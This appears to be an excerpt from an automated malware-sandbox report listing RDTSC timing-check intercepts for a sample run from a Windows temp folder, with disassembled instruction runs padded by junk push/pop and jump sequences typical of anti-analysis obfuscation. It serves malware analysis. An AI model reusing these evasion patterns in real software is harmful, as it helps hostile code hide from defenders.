Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A80216 second address: 4A8023B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F3460CF0802h 0x00000008 pop esi 0x00000009 mov ebx, 7AC6E756h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A8023B second address: 4A8023F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A8023F second address: 4A80255 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF0802h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AA056B second address: 4AA05DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB96Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F3460BFB976h 0x0000000f push eax 0x00000010 pushad 0x00000011 mov ecx, edi 0x00000013 push edx 0x00000014 mov si, FA1Fh 0x00000018 pop esi 0x00000019 popad 0x0000001a xchg eax, ebp 0x0000001b jmp 00007F3460BFB96Bh 0x00000020 mov ebp, esp 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F3460BFB96Bh 0x0000002b sbb esi, 557AFF1Eh 0x00000031 jmp 00007F3460BFB979h 0x00000036 popfd 0x00000037 movzx esi, dx 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AA05DD second address: 4AA05E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AA05E3 second address: 4AA05E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AA05E7 second address: 4AA0669 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF0804h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c jmp 00007F3460CF0800h 0x00000011 push eax 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F3460CF0801h 0x00000019 add eax, 45CCE966h 0x0000001f jmp 00007F3460CF0801h 0x00000024 popfd 0x00000025 pushad 0x00000026 jmp 00007F3460CF07FEh 0x0000002b mov si, D0A1h 0x0000002f popad 0x00000030 popad 0x00000031 xchg eax, ecx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F3460CF0803h 0x00000039 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AA0669 second address: 4AA06E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB979h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [778165FCh] 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F3460BFB96Ch 0x00000015 sub ah, FFFFFFC8h 0x00000018 jmp 00007F3460BFB96Bh 0x0000001d popfd 0x0000001e mov bl, al 0x00000020 popad 0x00000021 test eax, eax 0x00000023 pushad 0x00000024 mov edi, 457054A4h 0x00000029 mov bx, 1710h 0x0000002d popad 0x0000002e je 00007F34D38EEC14h 0x00000034 jmp 00007F3460BFB96Fh 0x00000039 mov ecx, eax 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F3460BFB975h 0x00000042 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AA06E6 second address: 4AA0745 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3460CF0807h 0x00000009 sub ah, FFFFFFCEh 0x0000000c jmp 00007F3460CF0809h 0x00000011 popfd 0x00000012 mov bx, ax 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xor eax, dword ptr [ebp+08h] 0x0000001b jmp 00007F3460CF0803h 0x00000020 and ecx, 1Fh 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 push edx 0x00000027 pop ecx 0x00000028 push edx 0x00000029 pop ecx 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AA0745 second address: 4AA0771 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB978h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ror eax, cl 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F3460BFB96Ah 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AA0771 second address: 4AA0777 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AA0777 second address: 4AA07A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB96Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3460BFB977h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AA07A3 second address: 4AA07E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop ebx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c mov esi, eax 0x0000000e lea eax, dword ptr [ebp-08h] 0x00000011 xor esi, dword ptr [00E72014h] 0x00000017 push eax 0x00000018 push eax 0x00000019 push eax 0x0000001a lea eax, dword ptr [ebp-10h] 0x0000001d push eax 0x0000001e call 00007F3464960FD4h 0x00000023 push FFFFFFFEh 0x00000025 pushad 0x00000026 call 00007F3460CF07FAh 0x0000002b movzx esi, di 0x0000002e pop edx 0x0000002f pushfd 0x00000030 jmp 00007F3460CF07FCh 0x00000035 jmp 00007F3460CF0805h 0x0000003a popfd 0x0000003b popad 0x0000003c pop eax 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AA07E9 second address: 4AA07ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AA07ED second address: 4AA0827 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F3460CF0808h 0x00000008 and ch, FFFFFF88h 0x0000000b jmp 00007F3460CF07FBh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov di, si 0x00000016 popad 0x00000017 ret 0x00000018 nop 0x00000019 push eax 0x0000001a call 00007F346496103Dh 0x0000001f mov edi, edi 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 mov ax, BACDh 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AA0827 second address: 4AA087D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dx, cx 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c mov ax, 96E7h 0x00000010 mov esi, 3CBDBA83h 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 mov ax, dx 0x0000001b popad 0x0000001c xchg eax, ebp 0x0000001d jmp 00007F3460BFB96Dh 0x00000022 mov ebp, esp 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F3460BFB96Ch 0x0000002b xor si, BD78h 0x00000030 jmp 00007F3460BFB96Bh 0x00000035 popfd 0x00000036 mov di, si 0x00000039 popad 0x0000003a pop ebp 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AA087D second address: 4AA0881 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4AA0881 second address: 4AA0887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A50011 second address: 4A50017 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A50017 second address: 4A5002D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3460BFB96Bh 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A5002D second address: 4A5007A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF0809h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov dh, 69h 0x00000011 pushfd 0x00000012 jmp 00007F3460CF0804h 0x00000017 sub eax, 504D93E8h 0x0000001d jmp 00007F3460CF07FBh 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A5007A second address: 4A50092 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3460BFB974h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A50092 second address: 4A50121 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF07FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e movzx esi, dx 0x00000011 mov bx, 6D24h 0x00000015 popad 0x00000016 and esp, FFFFFFF8h 0x00000019 jmp 00007F3460CF0803h 0x0000001e xchg eax, ecx 0x0000001f jmp 00007F3460CF0806h 0x00000024 push eax 0x00000025 jmp 00007F3460CF07FBh 0x0000002a xchg eax, ecx 0x0000002b jmp 00007F3460CF0806h 0x00000030 xchg eax, ebx 0x00000031 jmp 00007F3460CF0800h 0x00000036 push eax 0x00000037 jmp 00007F3460CF07FBh 0x0000003c xchg eax, ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A50121 second address: 4A50138 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F3460BFB971h 0x00000009 pop esi 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A50138 second address: 4A50170 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 53E9F1D3h 0x00000008 movzx eax, di 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebx, dword ptr [ebp+10h] 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F3460CF07FCh 0x00000018 sbb ah, 00000058h 0x0000001b jmp 00007F3460CF07FBh 0x00000020 popfd 0x00000021 popad 0x00000022 xchg eax, esi 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 pushad 0x00000027 popad 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A50170 second address: 4A50176 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A50176 second address: 4A5019A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3460CF0807h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A5019A second address: 4A501A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A501A0 second address: 4A501E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF0804h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F3460CF0800h 0x0000000f mov esi, dword ptr [ebp+08h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F3460CF0807h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A501E5 second address: 4A5020D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 364Ah 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, edi 0x0000000b jmp 00007F3460BFB96Ch 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3460BFB96Eh 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A5020D second address: 4A502ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 call 00007F3460CF07FAh 0x0000000b pop eax 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, edi 0x00000010 jmp 00007F3460CF0801h 0x00000015 test esi, esi 0x00000017 jmp 00007F3460CF07FEh 0x0000001c je 00007F34D3A2EBC8h 0x00000022 pushad 0x00000023 mov cl, A0h 0x00000025 pushfd 0x00000026 jmp 00007F3460CF0803h 0x0000002b add eax, 35C4410Eh 0x00000031 jmp 00007F3460CF0809h 0x00000036 popfd 0x00000037 popad 0x00000038 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000003f pushad 0x00000040 pushfd 0x00000041 jmp 00007F3460CF07FCh 0x00000046 sub ax, 5788h 0x0000004b jmp 00007F3460CF07FBh 0x00000050 popfd 0x00000051 pushfd 0x00000052 jmp 00007F3460CF0808h 0x00000057 or esi, 609939E8h 0x0000005d jmp 00007F3460CF07FBh 0x00000062 popfd 0x00000063 popad 0x00000064 je 00007F34D3A2EB4Eh 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e jmp 00007F3460CF0800h 0x00000073 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A502ED second address: 4A502F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A502F3 second address: 4A50353 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, ah 0x00000005 push edi 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov edx, dword ptr [esi+44h] 0x0000000d jmp 00007F3460CF07FBh 0x00000012 or edx, dword ptr [ebp+0Ch] 0x00000015 jmp 00007F3460CF0806h 0x0000001a test edx, 61000000h 0x00000020 pushad 0x00000021 mov cl, 77h 0x00000023 popad 0x00000024 jne 00007F34D3A2EB50h 0x0000002a pushad 0x0000002b call 00007F3460CF0801h 0x00000030 mov ch, 5Bh 0x00000032 pop edx 0x00000033 popad 0x00000034 test byte ptr [esi+48h], 00000001h 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A50353 second address: 4A5035A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A5035A second address: 4A50397 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F3460CF07FCh 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007F34D3A2EB2Ah 0x00000012 jmp 00007F3460CF07FCh 0x00000017 test bl, 00000007h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d call 00007F3460CF07FDh 0x00000022 pop ecx 0x00000023 movsx ebx, si 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A40799 second address: 4A40874 instructions: 0x00000000 rdtsc 0x00000002 mov edi, 099B3F0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c mov ax, di 0x0000000f call 00007F3460BFB977h 0x00000014 pushfd 0x00000015 jmp 00007F3460BFB978h 0x0000001a add esi, 1D2540B8h 0x00000020 jmp 00007F3460BFB96Bh 0x00000025 popfd 0x00000026 pop esi 0x00000027 popad 0x00000028 mov ebp, esp 0x0000002a pushad 0x0000002b mov ax, di 0x0000002e call 00007F3460BFB971h 0x00000033 pushfd 0x00000034 jmp 00007F3460BFB970h 0x00000039 sbb ax, DA48h 0x0000003e jmp 00007F3460BFB96Bh 0x00000043 popfd 0x00000044 pop esi 0x00000045 popad 0x00000046 and esp, FFFFFFF8h 0x00000049 jmp 00007F3460BFB96Fh 0x0000004e xchg eax, ebx 0x0000004f pushad 0x00000050 mov ebx, eax 0x00000052 mov ax, CAA7h 0x00000056 popad 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b pushfd 0x0000005c jmp 00007F3460BFB976h 0x00000061 adc ecx, 38210F08h 0x00000067 jmp 00007F3460BFB96Bh 0x0000006c popfd 0x0000006d mov ax, 217Fh 0x00000071 popad 0x00000072 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A40874 second address: 4A4087A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A4087A second address: 4A4087E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A4087E second address: 4A408CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF0807h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jmp 00007F3460CF0806h 0x00000011 xchg eax, esi 0x00000012 jmp 00007F3460CF0800h 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d mov dx, cx 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A408CD second address: 4A408F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 06h 0x00000005 mov si, 4E7Dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, esi 0x0000000d pushad 0x0000000e mov ch, bl 0x00000010 popad 0x00000011 mov esi, dword ptr [ebp+08h] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F3460BFB973h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A408F6 second address: 4A40921 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 mov cx, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebx, 00000000h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F3460CF0809h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A40921 second address: 4A40927 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A40927 second address: 4A40961 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a pushad 0x0000000b call 00007F3460CF0805h 0x00000010 movzx eax, bx 0x00000013 pop edx 0x00000014 mov edi, esi 0x00000016 popad 0x00000017 je 00007F34D3A36236h 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F3460CF07FBh 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A40961 second address: 4A40967 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A40967 second address: 4A409C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000f jmp 00007F3460CF0807h 0x00000014 mov ecx, esi 0x00000016 jmp 00007F3460CF0806h 0x0000001b je 00007F34D3A361F4h 0x00000021 jmp 00007F3460CF0800h 0x00000026 test byte ptr [77816968h], 00000002h 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 mov bx, ax 0x00000033 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A409C8 second address: 4A409EA instructions: 0x00000000 rdtsc 0x00000002 call 00007F3460BFB978h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c movsx edi, ax 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A409EA second address: 4A40A64 instructions: 0x00000000 rdtsc 0x00000002 mov ch, 4Fh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jne 00007F34D3A361BBh 0x0000000d jmp 00007F3460CF0805h 0x00000012 mov edx, dword ptr [ebp+0Ch] 0x00000015 pushad 0x00000016 mov ebx, eax 0x00000018 popad 0x00000019 push esi 0x0000001a jmp 00007F3460CF0802h 0x0000001f mov dword ptr [esp], ebx 0x00000022 pushad 0x00000023 pushad 0x00000024 mov edi, eax 0x00000026 pushad 0x00000027 popad 0x00000028 popad 0x00000029 jmp 00007F3460CF0806h 0x0000002e popad 0x0000002f xchg eax, ebx 0x00000030 jmp 00007F3460CF0800h 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 push eax 0x0000003a pop edx 0x0000003b mov eax, 3C713BBFh 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A40A64 second address: 4A40A6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A40A6A second address: 4A40A6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A40A6E second address: 4A40ADC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB977h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d movzx eax, bx 0x00000010 pushad 0x00000011 mov dx, 53A2h 0x00000015 pushfd 0x00000016 jmp 00007F3460BFB973h 0x0000001b sbb ax, 489Eh 0x00000020 jmp 00007F3460BFB979h 0x00000025 popfd 0x00000026 popad 0x00000027 popad 0x00000028 push dword ptr [ebp+14h] 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F3460BFB96Dh 0x00000032 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A40ADC second address: 4A40AFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF0801h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop eax 0x00000011 mov dx, B76Ah 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A40AFE second address: 4A40B19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3460BFB977h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A40BAF second address: 4A40BF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF0809h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esp, ebp 0x0000000b jmp 00007F3460CF07FEh 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3460CF0807h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A50CAD second address: 4A50CB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A50CB1 second address: 4A50CB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A50CB5 second address: 4A50CBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 4A50CBB second address: 4A50D09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3460CF0800h 0x00000008 mov edi, eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007F3460CF07FCh 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F3460CF07FCh 0x0000001d adc esi, 05734E98h 0x00000023 jmp 00007F3460CF07FBh 0x00000028 popfd 0x00000029 mov esi, 58D11C4Fh 0x0000002e popad 0x0000002f rdtsc
